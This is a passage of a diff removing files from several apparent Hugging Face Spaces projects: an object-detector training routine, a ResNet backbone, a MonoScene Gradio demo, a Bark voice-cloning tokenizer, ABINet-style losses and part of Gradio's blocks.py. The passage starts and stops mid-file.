-    np.random.seed(seed)
-    torch.manual_seed(seed)
-    torch.cuda.manual_seed_all(seed)
-    if deterministic:
-        torch.backends.cudnn.deterministic = True
-        torch.backends.cudnn.benchmark = False
-
-
-def train_detector(model,
-                   dataset,
-                   cfg,
-                   distributed=False,
-                   validate=False,
-                   timestamp=None,
-                   meta=None):
-    logger = get_root_logger(cfg.log_level)
-
-    # prepare data loaders
-    dataset = dataset if isinstance(dataset, (list, tuple)) else [dataset]
-    if 'imgs_per_gpu' in cfg.data:
-        logger.warning('"imgs_per_gpu" is deprecated in MMDet V2.0. '
-                       'Please use "samples_per_gpu" instead')
-        if 'samples_per_gpu' in cfg.data:
-            logger.warning(
-                f'Got "imgs_per_gpu"={cfg.data.imgs_per_gpu} and '
-                f'"samples_per_gpu"={cfg.data.samples_per_gpu}, "imgs_per_gpu"'
-                f'={cfg.data.imgs_per_gpu} is used in this experiments')
-        else:
-            logger.warning(
-                'Automatically set "samples_per_gpu"="imgs_per_gpu"='
-                f'{cfg.data.imgs_per_gpu} in this experiments')
-        cfg.data.samples_per_gpu = cfg.data.imgs_per_gpu
-
-    data_loaders = [
-        build_dataloader(
-            ds,
-            cfg.data.samples_per_gpu,
-            cfg.data.workers_per_gpu,
-            # cfg.gpus will be ignored if distributed
-            len(cfg.gpu_ids),
-            dist=distributed,
-            seed=cfg.seed) for ds in dataset
-    ]
-
-    # build optimizer
-    optimizer = build_optimizer(model, cfg.optimizer)
-
-    # use apex fp16 optimizer
-    if cfg.optimizer_config.get("type", None) and cfg.optimizer_config["type"] == "DistOptimizerHook":
-        if cfg.optimizer_config.get("use_fp16", False):
-            model, optimizer = apex.amp.initialize(
-                model.cuda(), optimizer, opt_level="O1")
-            for m in model.modules():
-                if hasattr(m, "fp16_enabled"):
-                    m.fp16_enabled = True
-
-    # put model on gpus
-    if distributed:
-        find_unused_parameters = cfg.get('find_unused_parameters', False)
-        # Sets the `find_unused_parameters` parameter in
-        # torch.nn.parallel.DistributedDataParallel
-        model = MMDistributedDataParallel(
-            model.cuda(),
-            device_ids=[torch.cuda.current_device()],
-            broadcast_buffers=False,
-            find_unused_parameters=find_unused_parameters)
-    else:
-        model = MMDataParallel(
-            model.cuda(cfg.gpu_ids[0]), device_ids=cfg.gpu_ids)
-
-    if 'runner' not in cfg:
-        cfg.runner = {
-            'type': 'EpochBasedRunner',
-            'max_epochs': cfg.total_epochs
-        }
-        warnings.warn(
-            'config is now expected to have a `runner` section, '
-            'please set `runner` in your config.', UserWarning)
-    else:
-        if 'total_epochs' in cfg:
-            assert cfg.total_epochs == cfg.runner.max_epochs
-
-    # build runner
-    runner = build_runner(
-        cfg.runner,
-        default_args=dict(
-            model=model,
-            optimizer=optimizer,
-            work_dir=cfg.work_dir,
-            logger=logger,
-            meta=meta))
-
-    # an ugly workaround to make .log and .log.json filenames the same
-    runner.timestamp = timestamp
-
-    # fp16 setting
-    fp16_cfg = cfg.get('fp16', None)
-    if fp16_cfg is not None:
-        optimizer_config = Fp16OptimizerHook(
-            **cfg.optimizer_config, **fp16_cfg, distributed=distributed)
-    elif distributed and 'type' not in cfg.optimizer_config:
-        optimizer_config = OptimizerHook(**cfg.optimizer_config)
-    else:
-        optimizer_config = cfg.optimizer_config
-
-    # register hooks
-    runner.register_training_hooks(cfg.lr_config, optimizer_config,
-                                   cfg.checkpoint_config, cfg.log_config,
-                                   cfg.get('momentum_config', None))
-    if distributed:
-        if isinstance(runner, EpochBasedRunner):
-            runner.register_hook(DistSamplerSeedHook())
-
-    # register eval hooks
-    if validate:
-        # Support batch_size > 1 in validation
-        val_samples_per_gpu = cfg.data.val.pop('samples_per_gpu', 1)
-        if val_samples_per_gpu > 1:
-            # Replace 'ImageToTensor' to 'DefaultFormatBundle'
-            cfg.data.val.pipeline = replace_ImageToTensor(
-                cfg.data.val.pipeline)
-        val_dataset = build_dataset(cfg.data.val, dict(test_mode=True))
-        val_dataloader = build_dataloader(
-            val_dataset,
-            samples_per_gpu=val_samples_per_gpu,
-            workers_per_gpu=cfg.data.workers_per_gpu,
-            dist=distributed,
-            shuffle=False)
-        eval_cfg = cfg.get('evaluation', {})
-        eval_cfg['by_epoch'] = cfg.runner['type'] != 'IterBasedRunner'
-        eval_hook = DistEvalHook if distributed else EvalHook
-        runner.register_hook(eval_hook(val_dataloader, **eval_cfg))
-    '''
-    '''
-
-    # user-defined hooks
-    if cfg.get('custom_hooks', None):
-        custom_hooks = cfg.custom_hooks
-        assert isinstance(custom_hooks, list), \
-            f'custom_hooks expect list type, but got {type(custom_hooks)}'
-        for hook_cfg in cfg.custom_hooks:
-            assert isinstance(hook_cfg, dict), \
-                'Each item in custom_hooks expects dict type, but got ' \
-                f'{type(hook_cfg)}'
-            hook_cfg = hook_cfg.copy()
-            priority = hook_cfg.pop('priority', 'NORMAL')
-            hook = build_from_cfg(hook_cfg, HOOKS)
-            runner.register_hook(hook, priority=priority)
-
-    if cfg.resume_from:
-        runner.resume(cfg.resume_from)
-    elif cfg.load_from:
-        runner.load_checkpoint(cfg.load_from)
-    runner.run(data_loaders, cfg.workflow)

spaces/CVPR/lama-example/models/ade20k/resnet.py

@@ -1,181 +0,0 @@
-"""Modified from https://github.com/CSAILVision/semantic-segmentation-pytorch"""
-
-import math
-
-import torch.nn as nn
-from torch.nn import BatchNorm2d
-
-from .utils import load_url
-
-__all__ = ['ResNet', 'resnet50']
-
-
-model_urls = {
-    'resnet50': 'http://sceneparsing.csail.mit.edu/model/pretrained_resnet/resnet50-imagenet.pth',
-}
-
-
-def conv3x3(in_planes, out_planes, stride=1):
-    "3x3 convolution with padding"
-    return nn.Conv2d(in_planes, out_planes, kernel_size=3, stride=stride,
-                     padding=1, bias=False)
-
-
-class BasicBlock(nn.Module):
-    expansion = 1
-
-    def __init__(self, inplanes, planes, stride=1, downsample=None):
-        super(BasicBlock, self).__init__()
-        self.conv1 = conv3x3(inplanes, planes, stride)
-        self.bn1 = BatchNorm2d(planes)
-        self.relu = nn.ReLU(inplace=True)
-        self.conv2 = conv3x3(planes, planes)
-        self.bn2 = BatchNorm2d(planes)
-        self.downsample = downsample
-        self.stride = stride
-
-    def forward(self, x):
-        residual = x
-
-        out = self.conv1(x)
-        out = self.bn1(out)
-        out = self.relu(out)
-
-        out = self.conv2(out)
-        out = self.bn2(out)
-
-        if self.downsample is not None:
-            residual = self.downsample(x)
-
-        out += residual
-        out = self.relu(out)
-
-        return out
-
-
-class Bottleneck(nn.Module):
-    expansion = 4
-
-    def __init__(self, inplanes, planes, stride=1, downsample=None):
-        super(Bottleneck, self).__init__()
-        self.conv1 = nn.Conv2d(inplanes, planes, kernel_size=1, bias=False)
-        self.bn1 = BatchNorm2d(planes)
-        self.conv2 = nn.Conv2d(planes, planes, kernel_size=3, stride=stride,
-                               padding=1, bias=False)
-        self.bn2 = BatchNorm2d(planes)
-        self.conv3 = nn.Conv2d(planes, planes * 4, kernel_size=1, bias=False)
-        self.bn3 = BatchNorm2d(planes * 4)
-        self.relu = nn.ReLU(inplace=True)
-        self.downsample = downsample
-        self.stride = stride
-
-    def forward(self, x):
-        residual = x
-
-        out = self.conv1(x)
-        out = self.bn1(out)
-        out = self.relu(out)
-
-        out = self.conv2(out)
-        out = self.bn2(out)
-        out = self.relu(out)
-
-        out = self.conv3(out)
-        out = self.bn3(out)
-
-        if self.downsample is not None:
-            residual = self.downsample(x)
-
-        out += residual
-        out = self.relu(out)
-
-        return out
-
-
-class ResNet(nn.Module):
-
-    def __init__(self, block, layers, num_classes=1000):
-        self.inplanes = 128
-        super(ResNet, self).__init__()
-        self.conv1 = conv3x3(3, 64, stride=2)
-        self.bn1 = BatchNorm2d(64)
-        self.relu1 = nn.ReLU(inplace=True)
-        self.conv2 = conv3x3(64, 64)
-        self.bn2 = BatchNorm2d(64)
-        self.relu2 = nn.ReLU(inplace=True)
-        self.conv3 = conv3x3(64, 128)
-        self.bn3 = BatchNorm2d(128)
-        self.relu3 = nn.ReLU(inplace=True)
-        self.maxpool = nn.MaxPool2d(kernel_size=3, stride=2, padding=1)
-
-        self.layer1 = self._make_layer(block, 64, layers[0])
-        self.layer2 = self._make_layer(block, 128, layers[1], stride=2)
-        self.layer3 = self._make_layer(block, 256, layers[2], stride=2)
-        self.layer4 = self._make_layer(block, 512, layers[3], stride=2)
-        self.avgpool = nn.AvgPool2d(7, stride=1)
-        self.fc = nn.Linear(512 * block.expansion, num_classes)
-
-        for m in self.modules():
-            if isinstance(m, nn.Conv2d):
-                n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels
-                m.weight.data.normal_(0, math.sqrt(2. / n))
-            elif isinstance(m, BatchNorm2d):
-                m.weight.data.fill_(1)
-                m.bias.data.zero_()
-
-    def _make_layer(self, block, planes, blocks, stride=1):
-        downsample = None
-        if stride != 1 or self.inplanes != planes * block.expansion:
-            downsample = nn.Sequential(
-                nn.Conv2d(self.inplanes, planes * block.expansion,
-                          kernel_size=1, stride=stride, bias=False),
-                BatchNorm2d(planes * block.expansion),
-            )
-
-        layers = []
-        layers.append(block(self.inplanes, planes, stride, downsample))
-        self.inplanes = planes * block.expansion
-        for i in range(1, blocks):
-            layers.append(block(self.inplanes, planes))
-
-        return nn.Sequential(*layers)
-
-    def forward(self, x):
-        x = self.relu1(self.bn1(self.conv1(x)))
-        x = self.relu2(self.bn2(self.conv2(x)))
-        x = self.relu3(self.bn3(self.conv3(x)))
-        x = self.maxpool(x)
-
-        x = self.layer1(x)
-        x = self.layer2(x)
-        x = self.layer3(x)
-        x = self.layer4(x)
-
-        x = self.avgpool(x)
-        x = x.view(x.size(0), -1)
-        x = self.fc(x)
-
-        return x
-
-
-def resnet50(pretrained=False, **kwargs):
-    """Constructs a ResNet-50 model.
-
-    Args:
-        pretrained (bool): If True, returns a model pre-trained on ImageNet
-    """
-    model = ResNet(Bottleneck, [3, 4, 6, 3], **kwargs)
-    if pretrained:
-        model.load_state_dict(load_url(model_urls['resnet50']), strict=False)
-    return model
-
-
-def resnet18(pretrained=False, **kwargs):
-    """Constructs a ResNet-18 model.
-    Args:
-        pretrained (bool): If True, returns a model pre-trained on ImageNet
-    """
-    model = ResNet(BasicBlock, [2, 2, 2, 2], **kwargs)
-    if pretrained:
-        model.load_state_dict(load_url(model_urls['resnet18']))
-    return model

spaces/CVPR/monoscene_lite/app.py

@@ -1,121 +0,0 @@
-import gradio as gr
-import numpy as np
-from torchvision import transforms
-import torch
-from helpers import *
-import sys
-import csv
-from monoscene.monoscene import MonoScene
-
-csv.field_size_limit(sys.maxsize)
-torch.set_grad_enabled(False)
-
-
-model = MonoScene.load_from_checkpoint(
-        "monoscene_kitti.ckpt",
-        dataset="kitti",
-        n_classes=20,
-        feature = 64,
-        project_scale = 4,
-        full_scene_size = (256, 256, 32),
-    )
-
-img_W, img_H = 1220, 370
-
-
-def predict(img):
-    img = np.array(img, dtype=np.float32, copy=False) / 255.0
-
-    normalize_rgb = transforms.Compose(
-            [
-                transforms.ToTensor(),
-                transforms.Normalize(
-                    mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]
-                ),
-            ]
-        )
-    img = normalize_rgb(img)
-   
-    batch = get_projections(img_W, img_H)
-    batch["img"] = img
-    for k in batch:
-        batch[k] = batch[k].unsqueeze(0)#.cuda()
-
-    pred = model(batch).squeeze()
-    fig = draw(pred, batch['fov_mask_2'])
-
-
-    return fig
-   
-
-description = """
-MonoScene Demo on SemanticKITTI Validation Set (Sequence 08), which uses the <b>camera parameters of Sequence 08</b>.
-Due to the <b>CPU-only</b> inference, it might take up to 20s to predict a scene. \n
-This is a <b>smaller</b> model with half resolution and <b>w/o 3D CRP</b>. You can find the full model at: <a href="https://huggingface.co/spaces/CVPR/MonoScene">https://huggingface.co/spaces/CVPR/MonoScene</a>
-<center>
-    <a href="https://cv-rits.github.io/MonoScene/">
-        <img style="display:inline" alt="Project page" src="https://img.shields.io/badge/Project%20Page-MonoScene-red">
-    </a>
-    <a href="https://arxiv.org/abs/2112.00726"><img style="display:inline" src="https://img.shields.io/badge/arXiv%20%2B%20supp-2112.00726-purple"></a>
-    <a href="https://github.com/cv-rits/MonoScene"><img style="display:inline" src="https://img.shields.io/github/stars/cv-rits/MonoScene?style=social"></a>
-</center>
-"""
-title = "MonoScene Lite - Half resolution, w/o 3D CRP"
-article="""
-<center>
-    <img src='https://visitor-badge.glitch.me/badge?page_id=anhquancao.MonoScene_lite&left_color=darkmagenta&right_color=purple' alt='visitor badge'>
-</center>
-"""
-
-examples = [
-    'images/08/001385.jpg',
-    'images/08/000295.jpg',
-    'images/08/002505.jpg',
-    'images/08/000085.jpg',
-    'images/08/000290.jpg',
-    'images/08/000465.jpg',
-    'images/08/000790.jpg',
-    'images/08/001005.jpg',
-    'images/08/001380.jpg',
-    'images/08/001530.jpg',
-    'images/08/002360.jpg',
-    'images/08/004059.jpg',
-    'images/08/003149.jpg',
-    'images/08/001446.jpg',
-    'images/08/000010.jpg',
-    'images/08/001122.jpg',
-    'images/08/003533.jpg',
-    'images/08/003365.jpg',
-    'images/08/002944.jpg',
-    'images/08/000822.jpg',
-    'images/08/000103.jpg',
-    'images/08/002716.jpg',
-    'images/08/000187.jpg',
-    'images/08/002128.jpg',
-    'images/08/000511.jpg',
-    'images/08/000618.jpg',
-    'images/08/002010.jpg',
-    'images/08/000234.jpg',
-    'images/08/001842.jpg',
-    'images/08/001687.jpg',
-    'images/08/003929.jpg',
-    'images/08/002272.jpg',
-]
-
-
-
-
-demo = gr.Interface(
-    predict, 
-    gr.Image(shape=(1220, 370)), 
-    gr.Plot(),  
-    article=article,
-    title=title,
-    enable_queue=True,
-    cache_examples=False,
-    live=False,
-    examples=examples,
-    description=description)
-
-
-demo.launch(enable_queue=True, debug=False)

spaces/CikeyQI/Yunzai/Yunzai/app.js

@@ -1,3 +0,0 @@
-import Yunzai from "./lib/bot.js"
-global.Bot = new Yunzai
-Bot.run()

spaces/Cloudyy/bark-voice-cloning/hubert/customtokenizer.py

@@ -1,182 +0,0 @@
-import json
-import os.path
-from zipfile import ZipFile
-
-import numpy
-import torch
-from torch import nn, optim
-from torch.serialization import MAP_LOCATION
-
-
-class CustomTokenizer(nn.Module):
-    def __init__(self, hidden_size=1024, input_size=768, output_size=10000, version=0):
-        super(CustomTokenizer, self).__init__()
-        next_size = input_size
-        if version == 0:
-            self.lstm = nn.LSTM(input_size, hidden_size, 2, batch_first=True)
-            next_size = hidden_size
-        if version == 1:
-            self.lstm = nn.LSTM(input_size, hidden_size, 2, batch_first=True)
-            self.intermediate = nn.Linear(hidden_size, 4096)
-            next_size = 4096
-
-        self.fc = nn.Linear(next_size, output_size)
-        self.softmax = nn.LogSoftmax(dim=1)
-        self.optimizer: optim.Optimizer = None
-        self.lossfunc = nn.CrossEntropyLoss()
-        self.input_size = input_size
-        self.hidden_size = hidden_size
-        self.output_size = output_size
-        self.version = version
-
-    def forward(self, x):
-        x, _ = self.lstm(x)
-        if self.version == 1:
-            x = self.intermediate(x)
-        x = self.fc(x)
-        x = self.softmax(x)
-        return x
-
-    @torch.no_grad()
-    def get_token(self, x):
-        """
-        Used to get the token for the first
-        :param x: An array with shape (N, input_size) where N is a whole number greater or equal to 1, and input_size is the input size used when creating the model.
-        :return: An array with shape (N,) where N is the same as N from the input. Every number in the array is a whole number in range 0...output_size - 1 where output_size is the output size used when creating the model.
-        """
-        return torch.argmax(self(x), dim=1)
-
-    def prepare_training(self):
-        self.optimizer = optim.Adam(self.parameters(), 0.001)
-
-    def train_step(self, x_train, y_train, log_loss=False):
-        # y_train = y_train[:-1]
-        # y_train = y_train[1:]
-
-        optimizer = self.optimizer
-        lossfunc = self.lossfunc
-        # Zero the gradients
-        self.zero_grad()
-
-        # Forward pass
-        y_pred = self(x_train)
-
-        y_train_len = len(y_train)
-        y_pred_len = y_pred.shape[0]
-
-        if y_train_len > y_pred_len:
-            diff = y_train_len - y_pred_len
-            y_train = y_train[diff:]
-        elif y_train_len < y_pred_len:
-            diff = y_pred_len - y_train_len
-            y_pred = y_pred[:-diff, :]
-
-        y_train_hot = torch.zeros(len(y_train), self.output_size)
-        y_train_hot[range(len(y_train)), y_train] = 1
-        y_train_hot = y_train_hot.to('cuda')
-
-        # Calculate the loss
-        loss = lossfunc(y_pred, y_train_hot)
-
-        # Print loss
-        if log_loss:
-            print('Loss', loss.item())
-
-        # Backward pass
-        loss.backward()
-
-        # Update the weights
-        optimizer.step()
-
-    def save(self, path):
-        info_path = os.path.basename(path) + '/.info'
-        torch.save(self.state_dict(), path)
-        data_from_model = Data(self.input_size, self.hidden_size, self.output_size, self.version)
-        with ZipFile(path, 'a') as model_zip:
-            model_zip.writestr(info_path, data_from_model.save())
-            model_zip.close()
-
-    @staticmethod
-    def load_from_checkpoint(path, map_location: MAP_LOCATION = None):
-        old = True
-        with ZipFile(path) as model_zip:
-            filesMatch = [file for file in model_zip.namelist() if file.endswith('/.info')]
-            file = filesMatch[0] if filesMatch else None
-            if file:
-                old = False
-                data_from_model = Data.load(model_zip.read(file).decode('utf-8'))
-            model_zip.close()
-        if old:
-            model = CustomTokenizer()
-        else:
-            model = CustomTokenizer(data_from_model.hidden_size, data_from_model.input_size, data_from_model.output_size, data_from_model.version)
-        model.load_state_dict(torch.load(path, map_location))
-        return model
-
-
-
-class Data:
-    input_size: int
-    hidden_size: int
-    output_size: int
-    version: int
-
-    def __init__(self, input_size=768, hidden_size=1024, output_size=10000, version=0):
-        self.input_size = input_size
-        self.hidden_size = hidden_size
-        self.output_size = output_size
-        self.version = version
-
-    @staticmethod
-    def load(string):
-        data = json.loads(string)
-        return Data(data['input_size'], data['hidden_size'], data['output_size'], data['version'])
-
-    def save(self):
-        data = {
-            'input_size': self.input_size,
-            'hidden_size': self.hidden_size,
-            'output_size': self.output_size,
-            'version': self.version,
-        }
-        return json.dumps(data)
-
-
-def auto_train(data_path, save_path='model.pth', load_model: str | None = None, save_epochs=1):
-    data_x, data_y = [], []
-
-    if load_model and os.path.isfile(load_model):
-        print('Loading model from', load_model)
-        model_training = CustomTokenizer.load_from_checkpoint(load_model, 'cuda')
-    else:
-        print('Creating new model.')
-        model_training = CustomTokenizer(version=1).to('cuda')  # Settings for the model to run without lstm
-    save_path = os.path.join(data_path, save_path)
-    base_save_path = '.'.join(save_path.split('.')[:-1])
-
-    sem_string = '_semantic.npy'
-    feat_string = '_semantic_features.npy'
-
-    ready = os.path.join(data_path, 'ready')
-    for input_file in os.listdir(ready):
-        full_path = os.path.join(ready, input_file)
-        if input_file.endswith(sem_string):
-            data_y.append(numpy.load(full_path))
-        elif input_file.endswith(feat_string):
-            data_x.append(numpy.load(full_path))
-    model_training.prepare_training()
-
-    epoch = 1
-
-    while 1:
-        for i in range(save_epochs):
-            j = 0
-            for x, y in zip(data_x, data_y):
-                model_training.train_step(torch.tensor(x).to('cuda'), torch.tensor(y).to('cuda'), j % 50 == 0)  # Print loss every 50 steps
-                j += 1
-        save_p = save_path
-        save_p_2 = f'{base_save_path}_epoch_{epoch}.pth'
-        model_training.save(save_p)
-        model_training.save(save_p_2)
-        print(f'Epoch {epoch} completed')
-        epoch += 1

spaces/Cyril666/my_abi/losses.py

@@ -1,72 +0,0 @@
-from fastai.vision import *
-
-from modules.model import Model
-
-
-class MultiLosses(nn.Module):
-    def __init__(self, one_hot=True):
-        super().__init__()
-        self.ce = SoftCrossEntropyLoss() if one_hot else torch.nn.CrossEntropyLoss()
-        self.bce = torch.nn.BCELoss()
-
-    @property
-    def last_losses(self):
-        return self.losses
-
-    def _flatten(self, sources, lengths):
-        return torch.cat([t[:l] for t, l in zip(sources, lengths)])
-
-    def _merge_list(self, all_res):
-        if not isinstance(all_res, (list, tuple)):
-            return all_res
-        def merge(items):
-            if isinstance(items[0], torch.Tensor): return torch.cat(items, dim=0)
-            else: return items[0]
-        res = dict()
-        for key in all_res[0].keys():
-            items = [r[key] for r in all_res]
-            res[key] = merge(items)
-        return res
-
-    def _ce_loss(self, output, gt_labels, gt_lengths, idx=None, record=True):
-        loss_name = output.get('name')
-        pt_logits, weight = output['logits'], output['loss_weight']
-
-        assert pt_logits.shape[0] % gt_labels.shape[0] == 0
-        iter_size = pt_logits.shape[0] // gt_labels.shape[0]
-        if iter_size > 1:
-            gt_labels = gt_labels.repeat(3, 1, 1)
-            gt_lengths = gt_lengths.repeat(3)
-        flat_gt_labels = self._flatten(gt_labels, gt_lengths)
-        flat_pt_logits = self._flatten(pt_logits, gt_lengths)
-
-        nll = output.get('nll')
-        if nll is not None:
-            loss = self.ce(flat_pt_logits, flat_gt_labels, softmax=False) * weight
-        else:
-            loss = self.ce(flat_pt_logits, flat_gt_labels) * weight
-        if record and loss_name is not None: self.losses[f'{loss_name}_loss'] = loss
-
-        return loss
-
-    def forward(self, outputs, *args):
-        self.losses = {}
-        if isinstance(outputs, (tuple, list)):
-            outputs = [self._merge_list(o) for o in outputs]
-            return sum([self._ce_loss(o, *args) for o in outputs if o['loss_weight'] > 0.])
-        else:
-            return self._ce_loss(outputs, *args, record=False)
-
-
-class SoftCrossEntropyLoss(nn.Module):
-    def __init__(self, reduction="mean"):
-        super().__init__()
-        self.reduction = reduction
-
-    def forward(self, input, target, softmax=True):
-        if softmax: log_prob = F.log_softmax(input, dim=-1)
-        else: log_prob = torch.log(input)
-        loss = -(target * log_prob).sum(dim=-1)
-        if self.reduction == "mean": return loss.mean()
-        elif self.reduction == "sum": return loss.sum()
-        else: return loss

spaces/DQChoi/gpt-demo/venv/lib/python3.11/site-packages/gradio/blocks.py

@@ -1,2175 +0,0 @@
-from __future__ import annotations
-
-import copy
-import inspect
-import json
-import os
-import random
-import secrets
-import sys
-import threading
-import time
-import warnings
-import webbrowser
-from abc import abstractmethod
-from pathlib import Path
-from types import ModuleType
-from typing import TYPE_CHECKING, Any, AsyncIterator, Callable, Literal, cast
-
-import anyio
-import requests
-from anyio import CapacityLimiter
-from gradio_client import serializing
-from gradio_client import utils as client_utils
-from gradio_client.documentation import document, set_documentation_group
-from packaging import version
-
-from gradio import (
-    analytics,
-    components,
-    external,
-    networking,
-    queueing,
-    routes,
-    strings,
-    themes,
-    utils,
-    wasm_utils,
-)
-from gradio.context import Context
-from gradio.deprecation import check_deprecated_parameters, warn_deprecation
-from gradio.exceptions import (
-    DuplicateBlockError,
-    InvalidApiNameError,
-    InvalidBlockError,
-)
-from gradio.helpers import EventData, create_tracker, skip, special_args
-from gradio.themes import Default as DefaultTheme
-from gradio.themes import ThemeClass as Theme
-from gradio.tunneling import (
-    BINARY_FILENAME,
-    BINARY_FOLDER,
-    BINARY_PATH,
-    BINARY_URL,
-    CURRENT_TUNNELS,
-)
-from gradio.utils import (
-    GRADIO_VERSION,
-    TupleNoPrint,
-    check_function_inputs_match,
-    component_or_layout_class,
-    delete_none,
-    get_cancel_function,
-    get_continuous_fn,
-)
-
-try:
-    import spaces  # type: ignore
-except Exception:
-    spaces = None
-
-set_documentation_group("blocks")
-
-if TYPE_CHECKING:  # Only import for type checking (is False at runtime).
-    from fastapi.applications import FastAPI
-
-    from gradio.components import Component
-
-BUILT_IN_THEMES: dict[str, Theme] = {
-    t.name: t
-    for t in [
-        themes.Base(),
-        themes.Default(),
-        themes.Monochrome(),
-        themes.Soft(),
-        themes.Glass(),
-    ]
-}
-
-
-class Block:
-    def __init__(
-        self,
-        *,
-        render: bool = True,
-        elem_id: str | None = None,
-        elem_classes: list[str] | str | None = None,
-        visible: bool = True,
-        root_url: str | None = None,  # URL that is prepended to all file paths
-        _skip_init_processing: bool = False,  # Used for loading from Spaces
-        **kwargs,
-    ):
-        self._id = Context.id
-        Context.id += 1
-        self.visible = visible
-        self.elem_id = elem_id
-        self.elem_classes = (
-            [elem_classes] if isinstance(elem_classes, str) else elem_classes
-        )
-        self.root_url = root_url
-        self.share_token = secrets.token_urlsafe(32)
-        self._skip_init_processing = _skip_init_processing
-        self.parent: BlockContext | None = None
-
-        if render:
-            self.render()
-        check_deprecated_parameters(self.__class__.__name__, kwargs=kwargs)
-
-    def render(self):
-        """
-        Adds self into appropriate BlockContext
-        """
-        if Context.root_block is not None and self._id in Context.root_block.blocks:
-            raise DuplicateBlockError(
-                f"A block with id: {self._id} has already been rendered in the current Blocks."
-            )
-        if Context.block is not None:
-            Context.block.add(self)
-        if Context.root_block is not None:
-            Context.root_block.blocks[self._id] = self
-            if isinstance(self, components.IOComponent):
-                Context.root_block.temp_file_sets.append(self.temp_files)
-        return self
-
-    def unrender(self):
-        """
-        Removes self from BlockContext if it has been rendered (otherwise does nothing).
-        Removes self from the layout and collection of blocks, but does not delete any event triggers.
-        """
-        if Context.block is not None:
-            try:
-                Context.block.children.remove(self)
-            except ValueError:
-                pass
-        if Context.root_block is not None:
-            try:
-                del Context.root_block.blocks[self._id]
-            except KeyError:
-                pass
-        return self
-
-    def get_block_name(self) -> str:
-        """
-        Gets block's class name.
-
-        If it is template component it gets the parent's class name.
-
-        @return: class name
-        """
-        return (
-            self.__class__.__base__.__name__.lower()
-            if hasattr(self, "is_template")
-            else self.__class__.__name__.lower()
-        )
-
-    def get_expected_parent(self) -> type[BlockContext] | None:
-        return None
-
-    def set_event_trigger(
-        self,
-        event_name: str,
-        fn: Callable | None,
-        inputs: Component | list[Component] | set[Component] | None,
-        outputs: Component | list[Component] | None,
-        preprocess: bool = True,
-        postprocess: bool = True,
-        scroll_to_output: bool = False,
-        show_progress: str = "full",
-        api_name: str | None | Literal[False] = None,
-        js: str | None = None,
-        no_target: bool = False,
-        queue: bool | None = None,
-        batch: bool = False,
-        max_batch_size: int = 4,
-        cancels: list[int] | None = None,
-        every: float | None = None,
-        collects_event_data: bool | None = None,
-        trigger_after: int | None = None,
-        trigger_only_on_success: bool = False,
-    ) -> tuple[dict[str, Any], int]:
-        """
-        Adds an event to the component's dependencies.
-        Parameters:
-            event_name: event name
-            fn: Callable function
-            inputs: input list
-            outputs: output list
-            preprocess: whether to run the preprocess methods of components
-            postprocess: whether to run the postprocess methods of components
-            scroll_to_output: whether to scroll to output of dependency on trigger
-            show_progress: whether to show progress animation while running.
-            api_name: defines how the endpoint appears in the API docs. Can be a string, None, or False. If False, the endpoint will not be exposed in the api docs. If set to None, the endpoint will be exposed in the api docs as an unnamed endpoint, although this behavior will be changed in Gradio 4.0. If set to a string, the endpoint will be exposed in the api docs with the given name.
-            js: Experimental parameter (API may change): Optional frontend js method to run before running 'fn'. Input arguments for js method are values of 'inputs' and 'outputs', return should be a list of values for output components
-            no_target: if True, sets "targets" to [], used for Blocks "load" event
-            queue: If True, will place the request on the queue, if the queue has been enabled. If False, will not put this event on the queue, even if the queue has been enabled. If None, will use the queue setting of the gradio app.
-            batch: whether this function takes in a batch of inputs
-            max_batch_size: the maximum batch size to send to the function
-            cancels: a list of other events to cancel when this event is triggered. For example, setting cancels=[click_event] will cancel the click_event, where click_event is the return value of another components .click method.
-            every: Run this event 'every' number of seconds while the client connection is open. Interpreted in seconds. Queue must be enabled.
-            collects_event_data: whether to collect event data for this event
-            trigger_after: if set, this event will be triggered after 'trigger_after' function index
-            trigger_only_on_success: if True, this event will only be triggered if the previous event was successful (only applies if `trigger_after` is set)
-        Returns: dependency information, dependency index
-        """
-        # Support for singular parameter
-        if isinstance(inputs, set):
-            inputs_as_dict = True
-            inputs = sorted(inputs, key=lambda x: x._id)
-        else:
-            inputs_as_dict = False
-            if inputs is None:
-                inputs = []
-            elif not isinstance(inputs, list):
-                inputs = [inputs]
-
-        if isinstance(outputs, set):
-            outputs = sorted(outputs, key=lambda x: x._id)
-        else:
-            if outputs is None:
-                outputs = []
-            elif not isinstance(outputs, list):
-                outputs = [outputs]
-
-        if fn is not None and not cancels:
-            check_function_inputs_match(fn, inputs, inputs_as_dict)
-
-        if Context.root_block is None:
-            raise AttributeError(
-                f"{event_name}() and other events can only be called within a Blocks context."
-            )
-        if every is not None and every <= 0:
-            raise ValueError("Parameter every must be positive or None")
-        if every and batch:
-            raise ValueError(
-                f"Cannot run {event_name} event in a batch and every {every} seconds. "
-                "Either batch is True or every is non-zero but not both."
-            )
-
-        if every and fn:
-            fn = get_continuous_fn(fn, every)
-        elif every:
-            raise ValueError("Cannot set a value for `every` without a `fn`.")
-
-        _, progress_index, event_data_index = (
-            special_args(fn) if fn else (None, None, None)
-        )
-        Context.root_block.fns.append(
-            BlockFunction(
-                fn,
-                inputs,
-                outputs,
-                preprocess,
-                postprocess,
-                inputs_as_dict,
-                progress_index is not None,
-            )
-        )
-        if api_name is not None and api_name is not False:
-            api_name_ = utils.append_unique_suffix(
-                api_name, [dep["api_name"] for dep in Context.root_block.dependencies]
-            )
-            if api_name != api_name_:
-                warnings.warn(f"api_name {api_name} already exists, using {api_name_}")
-                api_name = api_name_
-
-        if collects_event_data is None:
-            collects_event_data = event_data_index is not None
-
-        dependency = {
-            "targets": [self._id] if not no_target else [],
-            "trigger": event_name,
-            "inputs": [block._id for block in inputs],
-            "outputs": [block._id for block in outputs],
-            "backend_fn": fn is not None,
-            "js": js,
-            "queue": False if fn is None else queue,
-            "api_name": api_name,
-            "scroll_to_output": False if utils.get_space() else scroll_to_output,
-            "show_progress": show_progress,
-            "every": every,
-            "batch": batch,
-            "max_batch_size": max_batch_size,
-            "cancels": cancels or [],
-            "types": {
-                "continuous": bool(every),
-                "generator": inspect.isgeneratorfunction(fn) or bool(every),
-            },
-            "collects_event_data": collects_event_data,
-            "trigger_after": trigger_after,
-            "trigger_only_on_success": trigger_only_on_success,
-        }
-        Context.root_block.dependencies.append(dependency)
-        return dependency, len(Context.root_block.dependencies) - 1
-
-    def get_config(self):
-        return {
-            "visible": self.visible,
-            "elem_id": self.elem_id,
-            "elem_classes": self.elem_classes,
-            "root_url": self.root_url,
-        }
-
-    @staticmethod
